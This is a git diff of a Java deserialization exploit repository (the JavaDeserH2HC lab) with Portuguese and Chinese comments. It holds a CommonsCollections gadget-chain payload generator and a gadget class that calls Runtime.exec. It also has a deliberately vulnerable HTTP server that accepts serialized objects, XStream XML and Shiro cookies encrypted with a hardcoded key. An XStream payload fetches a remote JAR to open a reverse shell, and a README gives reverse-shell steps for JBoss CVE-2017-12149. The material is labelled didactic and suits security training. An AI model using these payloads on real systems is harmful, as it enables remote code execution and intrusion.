* (eg. BadAttributeValueExpException ou HashMap + TiedMapEntry).
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar SleepExample.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar SleepExample
*
*
* @author @joaomatosf
*/
public class SleepExample {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
// Cria array de Transformers que irá resultar na seguinte construção:
//Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Thread.class), // retorna class Thread.class
// 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
new InvokerTransformer(
"getMethod", // invoca método getMethod
( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
),
// 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
new InvokerTransformer(
"invoke", // invoca método: invoke
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
(new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
)
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map,transformerChain);
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
// Torna o construtor acessível
ctor.setAccessible(true);
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
//cria a interface map
Class[] interfaces = new Class[] {java.util.Map.class};
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
System.out.println("Saving serialized object in SleepExample.ser");
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handlerProxy);
oos.flush();
}
}

View File

@ -1,42 +0,0 @@
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
/**
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
* O método invoke() desta classe é alcançado quando o readObject da classe
* ForgottenClass invoca um método em um campo controlado pelo usuário (map.entrySet())
* O campo irá conter um Proxy entre a interface Map e este InvocationHandler.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
*
* @author @joaomatosf
*/
public class SomeInvocationHandler implements InvocationHandler, Serializable {
private String cmd;
// metodo invoke não é um magic method (ou seja, *não* é invocado automaticamente
// durante a desserialização. Porém, pode ser alcançado por meio de um Dynamic Proxy.
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("-------------------------------------------");
System.out.println("Invoke method reached! This method can do something dangerous!");
Runtime.getRuntime().exec(cmd);
return null;
}
// magic method invocado automaticamente durante a desserialização de objetos
// deste tipo
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("-------------------------------------------");
System.out.println("The flow is in SomeInvocationHandler.readObject()");
}
}

View File

@ -1,42 +0,0 @@
import java.io.*;
/**
* Exemplo simples que demonstra a desserialização nativa de um objeto
* salvo em um arquivo. Observe que, durante a desserialização, o método
* readObject da classe Alien (que é o tipo do Objeto sendo desserializado)
* é automaticamente invocado - por isso, chamado de magic method.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* ----------------------------------------------------------------------- *
*
* **** USAGE ****
*
* Compilando:
* $ javac TestDeserialize.java
*
* Executando
* $ java TestDeserialize
*
* OBS: lembre de executar o exemplo TestSerialize antes, de forma
* a gerar o objeto serializado no arquivo (ET_object.ser), que
* será desserializado por este exemplo.
*
*
* @author @joaomatosf
*/
public class TestDeserialize {
public static void main(String[] args)
throws IOException, ClassNotFoundException {
// Obtem stream de bytes a partir do arquivo salvo em disco
FileInputStream fis = new FileInputStream("ET_object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// Realiza a desserialização! Nesse momento, os magic methods da classe
// Alien serão automaticamente invocados! (ie. readObject)
Alien ET = (Alien) ois.readObject(); // <-- Realiza a desserializacao
System.out.println("Hi, I'm "+ET.name+" from "+ET.source);
}
}

View File

@ -1,44 +0,0 @@
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
/**
* Exemplo simples que demonstra a serializacao nativa de um objeto
* e o salva em um arquivo. Observe que, durante a serializacao, o método
* writeObject da classe Alien (que é o tipo do Objeto sendo serializado)
* é automaticamente invocado.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* **** USAGE ****
*
* Compilando:
* $ javac TestSerialize.java
*
* Executando
* $ java TestSerialize
*
* @author @joaomatosf
*/
public class TestSerialize {
public static void main(String[] args)
throws IOException {
// Instancia objeto a ser serializado e atribui
// valores aos seus campos "name" e "source"
Alien ET = new Alien();
ET.name = "Abu ce taí";
ET.source = "Andromeda Galaxy";
// Cria FileOutputStream para armazenar o objeto serializado em um arquivo
FileOutputStream fos = new FileOutputStream("ET_object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(ET); // <-- Realiza a serializacao
oos.flush();
oos.close();
}
}

View File

@ -1,402 +0,0 @@
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import sun.misc.BASE64Decoder;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.annotation.IncompleteAnnotationException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.URLDecoder;
//this import is only for java 1.8
//import java.util.Base64;
import java.security.Key;
import java.util.zip.GZIPInputStream;
/**
* Simples Servidor HTTP que desserializa dados recebidos nos seguintes formatos:
*
* 1) via HTTP POST em formato binário (ou seja, \xAC\xED)
* 2) via HTTP POST como valor de algum parâmetro (eg. "ViewState") nos formatos 1) base64 (rO0...) ou 2) gzip+base64 (H4sI...)
* 3) via cookies (header cookie) nos formatos base64 (rO0) ou gzip+base64 (H4sI) (eg. Cookie: JSESSIONID=rO0... ou Cookie: JSESSIONID=H4sI...)
* 4) via Cookie rememberMe (like Apache Shiro), criptografado com aes-128-cbc e chave hardcoded
* 5) via XML para explorar o XStream
*
* Após a desserialização, ele tenta fazer um cast para Integer, a fim de simular o que
* ocorre em um servidor "real" (erro de casting após a desserialização)
*
*
* OBS: Sobre Apache Shiro, ver:
* https://github.com/apache/shiro/blob/master/crypto/cipher/src/main/java/org/apache/shiro/crypto/JcaCipherService.java
* https://github.com/apache/shiro/blob/8acc82ab4775b3af546e3bbde928f299be62dc23/integration-tests/guice3/src/main/webapp/WEB-INF/shiro.ini
* Para geracao do payload, use CommonsCollections2 ou CommonsCollections4 do ysoserial e criptografe com aes-128-cbc
* Se preferir, existem mtos sccripts prontos para geracao do payload, veja:
* ex: https://github.com/leveryd/vulndocker/blob/78ba54edbd2dd81f09bb6d3f03a446555e6b7614/vuln/shiro/shirotest.py
* Análise: http://www.freebuf.com/articles/system/125187.html
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* **** USAGE ****
*
* Compilando:
* $ javac VulnerableHTTPServer.java -XDignore.symbol.file
*
* Executando
* $ java VulnerableHTTPServer
*
* Ou, caso deseje testar payloads para explorar gadgets de bibliotecas específicas, use o -cp. Exs:
* $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
* $ java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableHTTPServer
*
* @author @joaomatosf
*/
public class VulnerableHTTPServer {
public static void banner(){
System.out.println("* =============================================================== *");
System.out.println("* Simple Java HTTP Server for Deserialization Lab v0.01 *");
System.out.println("* https://github.com/joaomatosf/JavaDeserH2HC *");
System.out.println("* =============================================================== *");
System.out.println("You can inject java serialized objects in the following formats:");
System.out.println(
"\n 1) Binary in HTTP POST (ie \\xAC\\xED). Ex:\n" +
" $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser\n"+
"\n 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:\n" +
" $ curl 127.0.0.1:8000 -d \"ViewState=rO0ABXNy...\"\n"+
" $ curl 127.0.0.1:8000 -d \"ViewState=H4sICAeH...\"\n"+
"\n 3) Base64 or Gzip+Base64 in cookies. Ex:\n"+
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=rO0ABXNy...\"\n"+
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=H4sICAeH...\"\n"+
"\n 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:\n" +
" $ curl 127.0.0.1:8000 -H \"Cookie: rememberMe=MTIzNDU2Nzg...\"\n"+
"\n 5) XML for XStream RCE vulnerability/serialization. Ex:\n" +
" $ curl 127.0.0.1:8000 -d @file.xml\n -H \"Content-Type: application/xml\"");
System.out.println("OBS: To test gadgets in specific libraries, run with -cp param. Ex:\n" +
"$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer");
System.out.println("==================================================================");
}
public static void main(String[] args) throws IOException {
banner();
int port = 8000;
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
server.createContext("/", new HTTPHandler());
server.setExecutor(null); // creates a default executor
server.start();
System.out.println("\nJRE Version: "+System.getProperty("java.version"));
System.out.println("[INFO]: Listening on port "+port);
System.out.println();
}
static class HTTPHandler implements HttpHandler {
String aesHardedCodeKey = "kPH+bIxk5D2deZiIxcaaaA==";
public void handle(HttpExchange t) throws IOException {
System.out.println("[INFO]: Received "+t.getRequestMethod()+" "+t.getRequestURI()+" from: "+t.getRemoteAddress());
String responseMsg = null;
boolean containsCookie = t.getRequestHeaders().containsKey("cookie");
// if there's a cookie with serialized java object
if (containsCookie){
String object = t.getRequestHeaders().get("cookie").get(0);
object = getObjectValue(object);
if (object.startsWith("H4sI") || object.startsWith("rO0") )
responseMsg = deserialize(object);
else { // try deserialize aes-cbc encrypted object
byte[] plainText = decryptAES(object,aesHardedCodeKey);
if (plainText == null)
responseMsg = "\nAn error ocurred when decrypting the stream.\n";
else
responseMsg = deserialize(new ByteArrayInputStream(plainText));
}
}
else if (t.getRequestMethod().equals("POST")){
InputStream input = t.getRequestBody();
// take 2 bytes from header to check if it is a raw object
PushbackInputStream pbis = new PushbackInputStream( input, 2 );
byte [] header = new byte[2];
int len = pbis.read(header);
pbis.unread( header, 0, len );
StringBuffer headerResult = new StringBuffer();
for (byte b: header)
headerResult.append(String.format("%02x", b));
// deserialize raw
if (headerResult.toString().equals("aced"))
responseMsg = deserialize(pbis); // deserialize RAW
else{ // deserialize H4sI, rO0,...
// read input into string
InputStreamReader isr = new InputStreamReader(pbis, "utf-8");
BufferedReader br = new BufferedReader(isr);
String body = br.readLine();
String paramName = "";
String object = getObjectValue(body);
if (object.startsWith("H4sI") || object.startsWith("rO0") )
responseMsg = deserialize(object); // deserialize H4sI, rO0...
else if (object.startsWith("<") )
responseMsg = deserializeXStream(object); // xtream
}
}// end if POST
else{
responseMsg = "<html>" +
"\n<title>DeserLab v0.01</title> " +
"\n<br>DeserLab v0.01 - Vulnerable HTTP Server for Deserialization Vulnerabilities Tests." +
"\n<br>See examples at: <a href=\"https://github.com/joaomatosf/JavaDeserH2HC\">https://github.com/joaomatosf/JavaDeserH2HC</a>" +
"\n<br> <form id=\"0\" name=\"inicial\" method=\"post\" action=\"/post\" enctype=\"application/x-www-form-urlencoded\">" +
"\n<bbr> <input type=\"hidden\" name=\"javax.faces.ViewState\" id=\"javax.faces.ViewState\" value=\"H4sI\" />";
}
t.getResponseHeaders().add("Server", "Vulnerable Java HTTP Server v0.01");
t.getResponseHeaders().add("Info", "http://github.com/joaomatosf/JavaDeserH2HC");
t.getResponseHeaders().add("Content-Type", "x-java-serialized-object");
if (t.getRequestURI().getPath().contains("jexws") || t.getRequestURI().getPath().contains("jexinv"))
t.sendResponseHeaders(404, responseMsg.length());
else
t.sendResponseHeaders(200, responseMsg.length());
OutputStream os = t.getResponseBody();
os.write(responseMsg.getBytes());
os.close();
}
public boolean hasParam(String object){
if (object.indexOf("=")<40 && object.indexOf("=")>0 && object.split("=")[1].length() > 4)
return true;
else
return false;
}
public String getParamName(String object){
if (hasParam(object))
return object.substring(0, object.indexOf("=")+1).split("=")[0] + "=";
else
return "";
}
public String getObjectValue(String object){
if (hasParam(object)) {
String paramName = getParamName(object);
return object.split(paramName)[1];
}
else
return object;
}
public String deserialize(String object){
ObjectInputStream ois = null;
InputStream is = null;
GZIPInputStream gis = null;
// if payload is urlencoded
if (object.contains("%2B")) {
try {
object = URLDecoder.decode(object, "UTF-8");
} catch (UnsupportedEncodingException e) {
return "\nInvalid encoding. You should use URL Encode!\n";
}
}
try {
byte[] b64DecodedObj = new BASE64Decoder().decodeBuffer(object);
// This another implementation of Base64 is only for java >= 1.8
//byte[] b64DecodedObj = Base64.getDecoder().decode(object);
is = new ByteArrayInputStream(b64DecodedObj);
}catch (Exception e){
return "\nInvalid Base64!\n";
}
if (object.startsWith("H4sI")) {
try {
gis = new GZIPInputStream(is);
ois = new ObjectInputStream(gis);
} catch (IOException e) {
return "\nThe Stream not contains a Java Object!\n";
}
catch (Exception e) {
return "\nInvalid Gzip stream!\n";
}
}
else {
try {
ois = new ObjectInputStream(is);
}
catch (IOException e ){
return "\nThe Stream not contains a Java Object!\n";
}
catch (Exception e){
return e.toString()+"\n";
}
}
// Deserialization
try{
int number = (Integer) ois.readObject();
}
catch (ClassNotFoundException e) {
return "\nSerialized class not found in classpath\n";
}
catch (IOException e) {
return e.toString()+"\n";
}
catch (ClassCastException e){
e.printStackTrace();
} catch (IncompleteAnnotationException e){
e.printStackTrace();
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
}
catch (Exception e){
e.printStackTrace();
}
return "\nData deserialized!\n";
}
public String deserialize(InputStream is){
ObjectInputStream ois = null;
try{
ois = new ObjectInputStream(is);
}catch (EOFException e){
e.printStackTrace();
return "\nThe request body not contains a Stream!\n";
} catch (Exception e) {
return e.toString()+"\n";
}
try {
// This cast simulate what occurs in a real server
int number = (Integer) ois.readObject();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
return "\nSerialized class not found in classpath\n";
} catch (ClassCastException e){
e.printStackTrace();
} catch (IncompleteAnnotationException e){
e.printStackTrace();
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
return "\nThis payload not works in JRE >= 8u72. Try another version such as those which use TiedMapEntry + HashSet (by @matthiaskaiser).\n";
}
catch (Exception e){
e.printStackTrace();
}
return "\nData deserialized!\n";
}
public String deserializeXStream(String xml){
Class classXStream = null;
Class classDomDriver = null;
Class classHierarchicalStreamDriver = null;
//Class classJsonHierarchicalStreamDriver = null;
try {
classHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.HierarchicalStreamDriver");
//classJsonHierarchicalStreamDriver = Class.forName("com.thoughtworks.xstream.io.json.JsonHierarchicalStreamDriver");
classXStream = Class.forName("com.thoughtworks.xstream.XStream");
classDomDriver = Class.forName("com.thoughtworks.xstream.io.xml.DomDriver");
//Constructor ctrJsonDriver = classJsonHierarchicalStreamDriver.getDeclaredConstructor();
Constructor ctrDomDriver = classDomDriver.getDeclaredConstructor();
Constructor ctrXStream = classXStream.getDeclaredConstructor(classHierarchicalStreamDriver);
Object domDriverInstance = ctrDomDriver.newInstance();
//Object jsonDriverInstance = ctrJsonDriver.newInstance();
Object xstreamInstance = ctrXStream.newInstance(domDriverInstance);
//Desativado json...
//if (xml.startsWith("<"))
//xstreamInstance = ctrXStream.newInstance(domDriverInstance);
//else
// xstreamInstance = ctrXStream.newInstance(jsonDriverInstance);
Method m = xstreamInstance.getClass().getMethod("fromXML", String.class);
m.invoke(xstreamInstance, xml);
} catch (ClassNotFoundException e) {
e.printStackTrace();
return "\nXStream lib not found in classpath. You must add \"xstream-1.4.6.jar\" in -cp param. Ex: \n" +
"java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableServer\n\n";
} catch (Exception e){
e.printStackTrace();
return "\nError deserializing XML...\n";
}
return "\nXML deserialized!\n";
}
public byte[] decryptAES(String object, String aesKey){
byte[] iv = new byte[16];
String algorithmName = "AES";
byte[] cipherText = null;
byte[] plainTextWithIV = null;
byte[] plainText = null;
byte[] key = null;
try {
// first decode object from base64
cipherText = new BASE64Decoder().decodeBuffer(object);
// use the same harded code key from apache shino
key = new BASE64Decoder().decodeBuffer(aesKey);
} catch (Exception e) { e.printStackTrace(); return null; }
try {
IvParameterSpec ivSpec = new IvParameterSpec(iv);
Key keySpec = new SecretKeySpec(key, algorithmName);
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, keySpec,ivSpec);
// decrypt ciphertext and put the IV in the header
plainTextWithIV = cipher.doFinal(cipherText);
// remove the iv from header of plaintext in order to deserialize it later
plainText = new byte[plainTextWithIV.length - iv.length];
System.arraycopy(plainTextWithIV, iv.length, plainText, 0, plainText.length);
return plainText;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
}

View File

@ -1,67 +0,0 @@
<!--
Payload com gadget chain para carregar e executar uma classe remota
(hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
de um LazyMap decorado com a ChainedTransformers.
Esse XML pode ser usado para validação/exploração de sistemas que realizam a
desserialização usando o XStream. O propósito é unica e exclusivamente DIDATICO!
NAO utilize em sistemas que você não tenha autorização!
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* https://github.com/joaomatosf/JavaDeserH2HC
* @joaomatosf
-->
<set>
<org.apache.commons.collections.keyvalue.TiedMapEntry>
<map class="org.apache.commons.collections.map.LazyMap" serialization="custom">
<unserializable-parents/>
<org.apache.commons.collections.map.LazyMap>
<default>
<factory class="org.apache.commons.collections.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections.functors.ConstantTransformer>
<iConstant class="java-class">java.net.URLClassLoader</iConstant>
</org.apache.commons.collections.functors.ConstantTransformer>
<org.apache.commons.collections.functors.InstantiateTransformer>
<iParamTypes>
<java-class>[Ljava.net.URL;</java-class>
</iParamTypes>
<iArgs>
<url-array>
<url>http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar</url>
</url-array>
</iArgs>
</org.apache.commons.collections.functors.InstantiateTransformer>
<org.apache.commons.collections.functors.InvokerTransformer>
<iMethodName>loadClass</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>JexReverse</string>
</iArgs>
</org.apache.commons.collections.functors.InvokerTransformer>
<org.apache.commons.collections.functors.InstantiateTransformer>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>int</java-class>
</iParamTypes>
<iArgs>
<string>YOUR_BOX_IP</string>
<int>PORT_LISTENING</int>
</iArgs>
</org.apache.commons.collections.functors.InstantiateTransformer>
</iTransformers>
</factory>
</default>
<map/>
</org.apache.commons.collections.map.LazyMap>
</map>
<key class="string">foo</key>
</org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

View File

@ -1,12 +1,7 @@
# JbossAS 5.x/6.x反序列化远程命令执行漏洞(CVE-2017-12149)
* Github[https://github.com/joaomatosf/JavaDeserH2HC](https://github.com/joaomatosf/JavaDeserH2HC)
* [https://access.redhat.com/security/cve/cve-2017-12149](https://access.redhat.com/security/cve/cve-2017-12149)
* 工具GUI[http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip](http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip)
# JbossAS 5.x/6.x反序列化RCE (CVE-2017-12149)
## 漏洞利用
1: `javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java`
`java -jar jboss_CVE-2017-12149_exp.jar`
2: `java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port` //反弹shell的IP和端口,然后会生成一个ReverseShellCommonsCollectionsHashMap.ser文件
![images1](images/1.jpg)
3: 打开另外一个终端并且nc开始设置的反弹shell的IP
4: `curl 网址/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser`

View File

@ -0,0 +1,16 @@
# jboss-_CVE-2017-12149
![72DC2C8058A7B3711A5D0446692D4BDA](Downloads/jboss-_CVE-2017-12149-master/jboss-_CVE-2017-12149-master/截图.jpg)
verify_CVE-2017-12149.jar提供命令行模式下验证漏洞,如果漏洞存在返回特征字符串,只需要执行命令:
```shell
$ java -jar verify_CVE-2017-12149.jar http://xxx:8080
#成功返回:
vuln6581362514513155613jboss
```
![截图2](Downloads/jboss-_CVE-2017-12149-master/jboss-_CVE-2017-12149-master/截图2.png)

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB